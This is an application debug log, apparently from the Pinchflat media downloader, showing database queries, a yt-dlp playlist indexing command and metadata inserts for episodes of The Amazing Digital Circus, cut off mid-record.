[:browser] 20:48:48.326 [debug] QUERY OK source="settings" db=0.1ms idle=1159.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:48.326 [debug] QUERY OK source="settings" db=0.0ms idle=1159.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:48.326 [debug] QUERY OK source="settings" db=0.0ms idle=1159.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:48.327 [debug] QUERY OK source="settings" db=0.0ms idle=1159.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:48.327 [info] Sent 200 in 1ms 20:48:48.476 [info] CONNECTED TO Phoenix.LiveView.Socket in 16µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CiMUGT4QNR0mY34eKGELblshfEN0Ii49aDFzPuLqvPNip-d-ibKrCuXP", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:48.483 [debug] MOUNT Pinchflat.Settings.AppriseServerLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "value" => nil} 20:48:48.483 [debug] Replied in 84µs 20:48:48.483 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:48:48.483 [debug] Replied in 41µs 20:48:48.593 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB- --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/70/c570dd43d7c88f6dc377fc7bf3c1694c5caf857d7ccb2c07c2fa433f75df8ccd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:48:48.593 [debug] Gracefully stopping file follower 20:48:48.594 [debug] QUERY OK source="sources" db=0.1ms idle=460.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 20:48:48.594 [debug] QUERY OK source="sources" db=0.0ms idle=267.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:48.594 [debug] QUERY OK source="media_items" db=0.0ms idle=267.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-13 22:00:12Z], 2] 20:48:48.600 [debug] QUERY OK source="media_items" db=5.4ms idle=267.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The Amazing Digital Circus is a psychological dark comedy about cute cartoon characters who hate their lives and want to leave 🎪😀\nHELP US GREENLIGHT A FULL SEASON! LIMITED EDITION MERCH: http://digitalcircus.store/\nCreated by @Gooseworx and the GLITCH team\n\nSUBSCRIBE, it really helps💙 https://www.youtube.com/glitchprod?sub_confirmation=1\nTwitter ► https://twitter.com/glitch_prod\nInstagram ► https://www.instagram.com/glitch_prod/\nTik Tok ► https://www.tiktok.com/@glitch_productions\n\n#Glitch #GlitchProductions\nEnjoy (◕‿◕✿)", "THE AMAZING DIGITAL CIRCUS: PILOT", "9ac96513-896a-4c24-a9dc-868b0765e868", "https://www.youtube.com/watch?v=HwAPLk_sQ3w", false, "HwAPLk_sQ3w", 1545, false, 1, "/downloads/TADC/2023-10-13 THE AMAZING DIGITAL CIRCUS: PILOT/THE AMAZING DIGITAL CIRCUS: PILOT [HwAPLk_sQ3w].mp4", false, false, 2, [], 1, ~U[2023-10-13 22:00:12Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], "The Amazing Digital Circus is a psychological dark comedy about cute cartoon characters who hate their lives and want to leave 🎪😀\nHELP US GREENLIGHT A FULL SEASON! LIMITED EDITION MERCH: http://digitalcircus.store/\nCreated by @Gooseworx and the GLITCH team\n\nSUBSCRIBE, it really helps💙 https://www.youtube.com/glitchprod?sub_confirmation=1\nTwitter ► https://twitter.com/glitch_prod\nInstagram ► https://www.instagram.com/glitch_prod/\nTik Tok ► https://www.tiktok.com/@glitch_productions\n\n#Glitch #GlitchProductions\nEnjoy (◕‿◕✿)", "THE AMAZING DIGITAL CIRCUS: PILOT", "https://www.youtube.com/watch?v=HwAPLk_sQ3w", "HwAPLk_sQ3w", 1545, false, "/downloads/TADC/2023-10-13 THE AMAZING DIGITAL CIRCUS: PILOT/THE AMAZING DIGITAL CIRCUS: PILOT [HwAPLk_sQ3w].mp4", false, 2, ~U[2023-10-13 22:00:12Z]] 20:48:48.600 [debug] QUERY OK source="sources" db=0.0ms idle=273.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:48.600 [debug] QUERY OK source="media_items" db=0.0ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-03 22:00:08Z], 2] 20:48:48.602 [debug] QUERY OK source="media_items" db=2.2ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The gang are BACK for a WAaAaAaACKY candy filled adventure! They also discover that their lives literally have no meaning. Woohoo! So waaccky!!!!! \n\nALSOOO we just dropped the entire main Digital Circus characters as PLUSHIES!!!: https://digitalcircus.store/ Consider getting one to help support the production of more episodes. No pressure though! Have a great day ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!", "0f5b8b8f-dc87-4a74-bde2-67221f264528", "https://www.youtube.com/watch?v=4ofJpOEXrZs", false, "4ofJpOEXrZs", 1514, false, 2, "/downloads/TADC/2024-05-03 THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!/THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos! [4ofJpOEXrZs].mp4", false, false, 2, [], 1, ~U[2024-05-03 22:00:08Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], "The gang are BACK for a WAaAaAaACKY candy filled adventure! They also discover that their lives literally have no meaning. Woohoo! So waaccky!!!!! \n\nALSOOO we just dropped the entire main Digital Circus characters as PLUSHIES!!!: https://digitalcircus.store/ Consider getting one to help support the production of more episodes. No pressure though! Have a great day ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!", "https://www.youtube.com/watch?v=4ofJpOEXrZs", "4ofJpOEXrZs", 1514, false, "/downloads/TADC/2024-05-03 THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!/THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos! [4ofJpOEXrZs].mp4", false, 2, ~U[2024-05-03 22:00:08Z]] 20:48:48.603 [debug] QUERY OK source="sources" db=0.0ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:48.603 [debug] QUERY OK source="media_items" db=0.0ms idle=3.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-04 22:00:31Z], 2] 20:48:48.603 [debug] QUERY OK source="media_items" db=0.3ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The gang are back together to go on their next SPOOKY adventure. Kinger gets a shotgun! Zooble goes to therapy! Pomni goes to hell! So much fun awaits!!!!!\n\nALSO, a whole new line of Digital circus merch items just dropped; https://digitalcircus.store/ Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️\n\nLast but not leasttt, you can also pre-order the Pomni Nendroid here https://s.goodsmile.link/jey\n\nLicense code: Z2P7KNUX7AQ9CLHA", "THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor", "404036c4-cf7a-48e2-9a4d-141f6c1d27c4", "https://www.youtube.com/watch?v=bKjfw77cxeQ", false, "bKjfw77cxeQ", 1483, false, 3, "/downloads/TADC/2024-10-04 THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor/THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor [bKjfw77cxeQ].mp4", false, false, 2, [], 1, ~U[2024-10-04 22:00:31Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], "The gang are back together to go on their next SPOOKY adventure. Kinger gets a shotgun! Zooble goes to therapy! Pomni goes to hell! So much fun awaits!!!!!\n\nALSO, a whole new line of Digital circus merch items just dropped; https://digitalcircus.store/ Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️\n\nLast but not leasttt, you can also pre-order the Pomni Nendroid here https://s.goodsmile.link/jey\n\nLicense code: Z2P7KNUX7AQ9CLHA", "THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor", "https://www.youtube.com/watch?v=bKjfw77cxeQ", "bKjfw77cxeQ", 1483, false, "/downloads/TADC/2024-10-04 THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor/THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor [bKjfw77cxeQ].mp4", false, 2, ~U[2024-10-04 22:00:31Z]] 20:48:48.603 [debug] QUERY OK source="sources" db=0.0ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:48.604 [debug] QUERY OK source="media_items" db=0.0ms idle=1.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-13 23:00:06Z], 2] 20:48:48.605 [debug] QUERY OK source="media_items" db=1.3ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Pomni and friends spend an honest day’s hard work at popular fast food chain; Spudsy’s! Keep an eye out though, Gangle is the manager and has a brand new mask… it’s like she’s a whole NEW person!\n\nWe also have ALL NEW SPECIAL Digital Circus goodies including SPECIAL Spudsy branded clothing! Available now at: https://digitalcircus.store Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade", "ca3d9ddb-7fad-495e-b772-d1764e14aa19", "https://www.youtube.com/watch?v=Q9KWcWKo2T8", false, "Q9KWcWKo2T8", 1399, false, 4, "/downloads/TADC/2024-12-13 THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade/THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade [Q9KWcWKo2T8].mp4", false, false, 2, [], 1, ~U[2024-12-13 23:00:06Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], "Pomni and friends spend an honest day’s hard work at popular fast food chain; Spudsy’s! Keep an eye out though, Gangle is the manager and has a brand new mask… it’s like she’s a whole NEW person!\n\nWe also have ALL NEW SPECIAL Digital Circus goodies including SPECIAL Spudsy branded clothing! Available now at: https://digitalcircus.store Consider getting something to help support the production of more episodes. No pressure though! Have a great day ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade", "https://www.youtube.com/watch?v=Q9KWcWKo2T8", "Q9KWcWKo2T8", 1399, false, "/downloads/TADC/2024-12-13 THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade/THE AMAZING DIGITAL CIRCUS - Ep 4: Fast Food Masquerade [Q9KWcWKo2T8].mp4", false, 2, ~U[2024-12-13 23:00:06Z]] 20:48:48.605 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:48.606 [debug] QUERY OK source="media_items" db=0.0ms idle=2.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-20 22:00:08Z], 2] 20:48:48.606 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["We aren't actually sure what this episode is about.\nBUT HEY ALL NEW SPECIAL EDITION Digital Circus plushies, Mini-Figures and more - all 15% OFF for only THE NEXT 2 WEEKS!: https://digitalcircus.store \nIf you buy 2 individual Animiniz figurines, you get 50% off your third one!!!\nAll proceeds go into making future episodes more awesome❤️", "THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled", "80f1482d-b1b2-45e2-814e-3d3787357a8b", "https://www.youtube.com/watch?v=L4p2gN2CzsA", false, "L4p2gN2CzsA", 1533, false, 5, "/downloads/TADC/2025-06-20 THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled/THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled [L4p2gN2CzsA].mp4", false, false, 2, [], 1, ~U[2025-06-20 22:00:08Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], "We aren't actually sure what this episode is about.\nBUT HEY ALL NEW SPECIAL EDITION Digital Circus plushies, Mini-Figures and more - all 15% OFF for only THE NEXT 2 WEEKS!: https://digitalcircus.store \nIf you buy 2 individual Animiniz figurines, you get 50% off your third one!!!\nAll proceeds go into making future episodes more awesome❤️", "THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled", "https://www.youtube.com/watch?v=L4p2gN2CzsA", "L4p2gN2CzsA", 1533, false, "/downloads/TADC/2025-06-20 THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled/THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled [L4p2gN2CzsA].mp4", false, 2, ~U[2025-06-20 22:00:08Z]] 20:48:48.606 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:48.606 [debug] QUERY OK source="media_items" db=0.0ms idle=1.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-15 22:00:06Z], 2] 20:48:48.607 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["In this episode: gun.\nGet the NEW TEAM JAX/POMNI PLUSH and more now!; https://digitalcircus.store \nalso there's a 20% OFF SALE only for the next 2 weeks!!!!\nAll proceeds go into making future episodes more awesome ❤️\n\nCredit to Michelle Zheng for the Thumbnail!", "THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns", "b482a463-53e8-400c-b0f9-f8b093a031d3", "https://www.youtube.com/watch?v=mOvhHim78YA", false, "mOvhHim78YA", 2033, false, 6, "/downloads/TADC/2025-08-15 THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns/THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns [mOvhHim78YA].mp4", false, false, 2, [], 1, ~U[2025-08-15 22:00:06Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], "In this episode: gun.\nGet the NEW TEAM JAX/POMNI PLUSH and more now!; https://digitalcircus.store \nalso there's a 20% OFF SALE only for the next 2 weeks!!!!\nAll proceeds go into making future episodes more awesome ❤️\n\nCredit to Michelle Zheng for the Thumbnail!", "THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns", "https://www.youtube.com/watch?v=mOvhHim78YA", "mOvhHim78YA", 2033, false, "/downloads/TADC/2025-08-15 THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns/THE AMAZING DIGITAL CIRCUS - Ep 6: They All Get Guns [mOvhHim78YA].mp4", false, 2, ~U[2025-08-15 22:00:06Z]] 20:48:48.607 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:48.607 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-12 23:00:06Z], 2] 20:48:48.607 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Beach episode!!!!!!\nWOWIE! Get the NEW DIGITAL CIRCUS FIGURES and more now!; https://digitalcircus.store also there's a CHRISTMAS SALE where you can get up to 30% OFF!!! ONLY for the next 2 weeks! All proceeds go into making future episodes more awesome ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode", "5c2946fb-7f80-458d-950a-d44cecf0bf09", "https://www.youtube.com/watch?v=oaOG1xOk7XY", false, "oaOG1xOk7XY", 1975, false, 7, "/downloads/TADC/2025-12-12 THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode/THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode [oaOG1xOk7XY].mp4", false, false, 2, [], 1, ~U[2025-12-12 23:00:06Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], "Beach episode!!!!!!\nWOWIE! Get the NEW DIGITAL CIRCUS FIGURES and more now!; https://digitalcircus.store also there's a CHRISTMAS SALE where you can get up to 30% OFF!!! ONLY for the next 2 weeks! All proceeds go into making future episodes more awesome ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode", "https://www.youtube.com/watch?v=oaOG1xOk7XY", "oaOG1xOk7XY", 1975, false, "/downloads/TADC/2025-12-12 THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode/THE AMAZING DIGITAL CIRCUS - Ep 7: Beach Episode [oaOG1xOk7XY].mp4", false, 2, ~U[2025-12-12 23:00:06Z]] 20:48:48.608 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:48.608 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-20 22:00:06Z], 2] 20:48:48.608 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["OH...\nNEW Queenie Plushie + DISFIGURED Digital Circus figures are in store now!; https://digitalcircus.store also there's a SPECIAL SALE where you can get 20% off ONLY for the next 2 weeks! All proceeds go into making future episodes more awesome ❤️", "THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl", "3c89173e-7857-45c2-9a28-4d6fae062136", "https://www.youtube.com/watch?v=DMNlzf8PiEM", false, "DMNlzf8PiEM", 1910, false, 8, "/downloads/TADC/2026-03-20 THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl/THE AMAZING DIGITAL CIRCUS - Ep 8: hjsakldfhl [DMNlzf8PiEM].mp4", false, false, 2, [], 0, ~U[2026-03-20 22:00:06Z], ~U[2026-03-28 00:48:48Z], ~U[2026-03-28 00:48:48Z], 